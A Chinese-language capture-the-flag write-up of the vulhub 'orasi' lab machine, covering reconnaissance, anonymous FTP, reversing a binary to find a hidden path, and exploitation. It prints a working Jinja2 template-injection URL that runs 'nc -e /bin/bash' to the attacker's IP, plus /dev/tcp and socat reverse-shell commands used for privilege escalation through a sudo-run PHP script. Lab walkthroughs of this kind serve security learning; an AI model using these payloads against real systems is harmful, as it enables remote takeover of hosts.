vulhub - orasi
实验准备:
下载完成之后,打开靶机,我总是连接不上我的靶机,根本找不到我的靶机ip
先配置一下靶机ip地址
把 ro quiet替换为rw signie init=/bin/bash 然后ctrl+x进入下一步

用ip a查看当前网卡信息

然后编辑网卡信息 nano /etc/network/interfaces

把这些修改成一样的 ctrl +x 保存 按回车继续
然后重启网卡就可以

一、信息收集
nmap扫描发现80,21,22,5000端口

访问80端口,暂时还不太清楚这里是什么意思,看看其他的信息

看到开启ftp服务尝试登录

原来是匿名
进入ftp,列出文件发现有一个pub文件夹,进入pub,发现有一个名为url的文件下载下来

查看文件类型
是一个64位的文件


没发现什么用ida打开看看

这一串有点像路径,/sh4d0w$s ,一开始以为那个*也是里面的然后怎么输入也进不去,后面删掉才能进来而且要加上端口号


二、漏洞利用
页面提示了一个no inpu,可能是让我们输入什么,说实话,这个页面第一个想到的就是模板注入,看了一下服务是用python来搭的,这里又更加确实是ssti模板注入了

但是不知道参数,用ffuz爆破一下,这里一开始还不清楚字典怎么做,然后回头来看了80页面的那串字符6 6 1337leet

猜测是把这个来作为参数

参数是l333tt


看来我们输什么就会输出什么,

看看有没有nc

三、反弹shell
http://192.168.31.135:5000/sh4d0w$s?l333tt={{config.__class__.__init__.__globals__[%27os%27].popen(%27nc%20-e%20/bin/bash%20192.168.31.130%201234%20%20sh%27).read()}}

监听成功,升级一下shell
这里学习到一个新知识
使用 Python 升级到完全交互式 shell
首先连接到 shell 后,先检查一下 python 的可用性, 用 winch 命令检查:
which python python2 python3

在靶机上输入以下命令(使用机器上可用的 python 版本!)
python3 -c 'import pty;pty.spawn("/bin/bash")';

在靶机上输入以下命令来设置一些重要的环境变量:
export SHELL=bash export TERM=xterm-256color #允许 clear,并且有颜色

键入 ctrl-z 以将 shell 发送到后台。
设置 shell 以通过反向 shell 发送控制字符和其他原始输入。使用以下stty命令来执行此操作。
stty raw -echo;fg
回车一次后输入 reset 再回车将再次进入 shell 中:

四、提权
查看权限


查看php源码,一眼exec函数


可以开始rce了
但是,如果命令匹配某些关键字,如 bash、eval、nc 等,则会显示 “Restricted characters has been used”。并且它还限制使用“/”。发现靶机上有 socat,那用socat获取 kori 用户:
其中测试的这个无法执行命令
sudo -u kori /bin/php /home/kori/jail.php sh -i >& /dev/tcp/192.168.31.130/8899 0>&1
后来换成这个
sudo -u kori /bin/php /home/kori/jail.php socat TCP:192.168.31.130:1111 EXEC:sh
可以了

2.继续提权
继续使用sudo -l查看下当前账户是否存在可以使用的特权命令

发现存在一个apk那就要逆向分析了.....
先看看能不能直接复制过来

好吧没权限,那我们先新建一个同名文件,再把文件复制过来


开启http服务


分析apk猜测密码是有5组


这样的话应该是 eye.of.the.tiger.(),但是半天连不上啊没办法,去看了看别人的,woc,还有提示这一说
最后试出来的密码是eye.of.the.tiger() 考

第一个拿到
继续提,看到有一个有点像py3的脚本

不知道怎么搞像运行一下看看

应该是要差一个16进制的字符串的意思
算了直接尝试看看能不能用python弹一个shell


ok,结束
参考博客
https://www.cnblogs.com/sainet/p/16316274.html#%E4%BA%8C%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8

浙公网安备 33010602011771号